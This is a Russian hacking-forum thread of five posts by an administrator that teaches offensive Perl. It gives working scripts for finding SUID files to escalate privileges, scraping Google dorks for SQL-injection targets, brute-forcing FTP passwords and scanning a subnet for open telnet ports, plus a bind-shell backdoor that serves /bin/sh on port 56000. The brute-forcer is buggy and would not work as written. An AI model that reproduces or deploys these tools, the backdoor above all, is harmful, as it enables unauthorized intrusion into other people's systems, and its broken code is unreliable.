Perl – лучший друг хакера.
|
|
Hamachi | Дата: Среда, 18.05.2011, 15:08 | Сообщение # 1 |
Генералиссимус
Зарегистрирован: 15.05.2011
Группа: Администраторы
Пользователь №: 1
Сообщений: 41
Репутация: 2
Статус: Offline
| Здравствуйте уважаемые читатели. В этой статье я постараюсь описать некоторые аспекты программирования для perl, которые, несомненно пригодятся для хекера. Почему перл? Много причин... Во-первых, простота. Да перл действительно очень простой язык. Это язык для тех, кто не хочет морочить себе голову набивая кучу кода, что бы вывести фразу "Hello word". А разве не это нам нужно? Простота и скорость создания скрипта. Так сказать, что бы писать программы на лету. Самое интересное, что на нем можно написать приложение для веб, а можно, например, скрипт для передачи шеллкода через уязвимый буфер. Не правда ли здорово?) Побудила меня написать этот материал статья Cobalt -а -"Perl - инструмент хакера", по моему мнению, статья получилась очень не полной. А тема интересная. Ну что ж пора переходить от слов к делу. Этюд 1. Ищем suid биты. Представим, что нам необходимо просканировать всю систему и найти файлы с suid битом (думаю ясно для чего). На перле это сделать просто также, как два байта передать. Набросаем примерный алгоритм функции поиска: *Функции принимает аргумента в качестве стартового каталога. *Переходим в указанный каталог и начинаем поиск *Проверяем файлы, а если встречаем каталог, то вызываем функцию повторно (рекурсивно) Да, если встречаем "." или ".." то пропускаем их. Т.к. первая указывает на текущий каталог, а вторая на каталог выше. Собстенно сам код: Code #!/usr/bin/perl use Cwd; #С помощью этого модуля мы определим текущий каталог sub Findf { my($work)=shift; my($start)=&cwd; chdir($work) || die "Error!\n"; #переходи opendir(DIR,".") || die "Error\n"; #открываем дирикторию my @names=readdir(DIR) || die "Error!\n"; #читаем файлы closedir(DIR); foreach my $name(@names) { next if($name eq "."); #пропускаем, если это указатель на каталог next if($name eq ".."); if(-l $name){next;} #если ссылка пропускаем if(-d $name) #если это директория, то вызываем нашу функцию {&Findf($name);next;} if(-u $name)# если установлен суид бит выводим инфу { print "Найден суидный файл - $name\n"; } } chdir($start); } &Findf("."); В этом коде для определения suid бита у файла мы используем опцию -u. Так же можно было использовать модуль File::stat. Но в нашем случае проще обойтись ключом -u. Вот еще несколько опций для определения статусной информации о файле: Code -e - проверка существования файла -z - файл существует и он пустой -r - У нас есть права на чтение файла -w - у нас есть права на изменение файла -x - у нас есть права на редактирование файла -o - мы являемся владельцем файла -f - это обычный файл -d -это каталог -l - это ссылка -u присутствует suid бит -g присутствует guid бит -k присутвтвует липкий бит (steek bit) -T - это текстовой файл -B - это бинарный файл Можно, например, составить список каталогов, которые доступны нам.
Чем красивее, тем тормознее - доказано вистой! :D Я изменил бы мир, но Бог не дает исходники...
|
|
| |
Hamachi | Дата: Среда, 18.05.2011, 15:08 | Сообщение # 2 |
Генералиссимус
Зарегистрирован: 15.05.2011
Группа: Администраторы
Пользователь №: 1
Сообщений: 41
Репутация: 2
Статус: Offline
| Этюд 2. Парсинг? *YES*. Скажу вот что - написав всего лишь один скрипт для парсинга ответов гугла и наши возможности практически безграничны. Ведь google это самый мощный поисковик. С помощью него мы сможем получить гораздо больше информации о сайте & сервере, чем при прямом запросе к ресурсу. Например, можно провести ReversIP разведку, или составить структуру сайта. Вот только проблема в том, что google при большом кол-ве запросов попросту банит нас. Так что нужно быть аккуратными. Наш пример будет делать в гугл запрос "inurl: id=" и выбирать ссылки из полученной страницы. Что будем использовать в нашем коде: Code HTML::LinkExtor - для поиска ссылок. LWP::UserAgent - для запросов. Поехали! Code #!usr/bin/perl use LWP::UserAgent; use HTML::LinkExtor; sub parser { my $ua=LWP::UserAgent->new(); #создаем объект $in=0; for($in=0;$in<2;$in=$in+10) # первые две страницы { my $url="http://google/search?q=inurl:id=&start=$in"; $ua->agent("GR-TEAM sql finger"); my $req=HTTP::Request->new(GET=>$url); $req->referer("www.getroot.ru"); my $resp=$ua->request($req); $html=$html.$resp->content();#получаем пагу } $p = HTML::LinkExtor->new(\&cb);#все ссылки будут обрабатываться в cb() $p->parse($html); sub cb #функция для обработки ссылок { @links=@_;#принимаем аргумент $i=0; foreach $na(@links)#перебираем ссылки { if(index($na,"id=")!=-1)#если ссылка не левая, а нашим запросом { if(index($na,"inurl:")==-1) {@urls[$i]=$na; $i++} # то закидываем это все в массив } } Функция cb обрабатывает ответы объекта $p. В качестве аргумента ей направляются наши ссылки. Парсер конечно не из лучших, но для примера подойдет.
Чем красивее, тем тормознее - доказано вистой! :D Я изменил бы мир, но Бог не дает исходники...
|
|
| |
Hamachi | Дата: Среда, 18.05.2011, 15:08 | Сообщение # 3 |
Генералиссимус
Зарегистрирован: 15.05.2011
Группа: Администраторы
Пользователь №: 1
Сообщений: 41
Репутация: 2
Статус: Offline
| Этюд 3. Брутофорс по нашему. С помощью модуля NET::FTP простой брутajhc на перл можно написать за 10 минут. Удобство в том, что не нужно вдаваться в подробности работы протокола и можно уделить больше времени алгоритму. Итак, брут. Сначала забьем пароли в отдельный массив, а потом попросту будет из оттуда вынимать и пытаться подключиться. Смотримкод: Code use Net::FTP; sub ftpb { print "Введите хост:\n"; $hostftp=<STDIN>; print "Введите имя пользователя\n"; $loginftp=<STDIN>; print "Введите путь до файла с паролями\n"; $passftp=<STDIN>;#приняли данные open(FILE,$passftp) || die "File pass not found\n";#открываем файлик $index=0; while(<FILE>) { chomp($_); @passwordsftp[$index]=$_; #записываем пароли в массив $index++; } $max=@passwordsftp; my $brut=Net::FTP->new($hostftp) || die "Не получается подключиться к указанному хосту\n"; for($index=1;$index<$max;$index++)#запускаем главный цикл { $ftp->login("$loginftp", "$passftp") || next; #пытаемся print "Пароль $passftp подошел)\n"; } } Что сюда можно добавить. Во-первых все входные данные желательно прогонять через функцию chomp. Она удалит знаки перевода каретки (\n), если такие имеются. Во-вторых, думаю просто обязательно нужно включить многопоточность. В-третьих, можно включить функцию, позволяющую пользователю самому выбирать, например timeout. Таймаут можно указать при подключении к хосту: Code my $brut=Net::FTP->new($hostftp,Timeout => число) || die "Не получается подключиться к указанному хосту\n";
Чем красивее, тем тормознее - доказано вистой! :D Я изменил бы мир, но Бог не дает исходники...
|
|
| |
Hamachi | Дата: Среда, 18.05.2011, 15:09 | Сообщение # 4 |
Генералиссимус
Зарегистрирован: 15.05.2011
Группа: Администраторы
Пользователь №: 1
Сообщений: 41
Репутация: 2
Статус: Offline
| Этюд 4. BindShell. Сейчас я покажу пример bindshell бэкдора на perl Это бывает очень полезно. Как всегда сначала смотрим алгоритм. Во-первых, биндим порт. Во-вторых, запускаем потоки ввода вывода. В-третьих, запускам терминал. А вот и сам код: Code #!/usr/bin/perl #bindshell.pl #Usage: perl bindshell.pl & use Socket; $p=56000; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') ); setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); bind(S,sockaddr_in($p,INADDR_ANY)); listen(S,50); while(1) { accept(X,S); if(!($pid=fork)){ if(!defined $pid){exit(0);} open STDIN,"<&X"; open STDOUT,">&X"; open STDERR,">&X"; exec("/bin/sh -i"); close X; } }
Чем красивее, тем тормознее - доказано вистой! :D Я изменил бы мир, но Бог не дает исходники...
|
|
| |
Hamachi | Дата: Среда, 18.05.2011, 15:09 | Сообщение # 5 |
Генералиссимус
Зарегистрирован: 15.05.2011
Группа: Администраторы
Пользователь №: 1
Сообщений: 41
Репутация: 2
Статус: Offline
| Этюд 5. Сканирование под собственные нужды. Сначала я хотел в этом топе показать обычный сканер портов. Но это скучно. Покажу ка лучше вот что: тоже сканер, но сканировать он будет указанный диапазон ip, на один открытый порт, тот который мы укажем. Ну, например мы просканируем какую то сеть на открытый 23 порт. Те системы, у которых он открыт, могут быть уязвимы. Итак, алгоритм: Нам будет дан адрес и порт. В цикле перебираем последний разряд айпишника от 0 до 255 и пытаемся подключиться к указанному порту. Ну и все в принципе. Если подключение произошло успешно, выводим адрес. Вотисходник: Code #!/usr/bin/perl use Socket; $host=@ARGV[0]; $port=@ARGV[1]; @ip=split (/\D+/, $host); #делим айпи на разряды по точке $index=0; $r1=$ip[0]; #записываем разряды в массив $r2=$ip[1]; $r3=$ip[2]; $host=$r1.".".$r2.".".$r3; #составляем предварительный адрес socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); while($index<=255) { $host=host.".".$index; #составляем окончательный адрес $addr = inet_aton($host); # далее коннект $paddr = sockaddr_in($port, $addr); if(connect(SOCK, $paddr)){ print("Host: $host open $port port"); }else{ next; } } Это нужно принимать как макет. Если будет серьезная разработка, то нужно включить многопоточность. Вообще еще можно сделать так: читать баннеры и сравнивать их с уязвимыми. Если сходиться, то сервис возможно уязвим. Напоследок. Данный материал был написан даже не с целью напичкать вас чем то новым (если это для вас ново), а для того что бы показать всю привлекательность языка perl. Я искренне надеюсь, что после этой статьи вам захочется изучать его.
Чем красивее, тем тормознее - доказано вистой! :D Я изменил бы мир, но Бог не дает исходники...
|
|
| |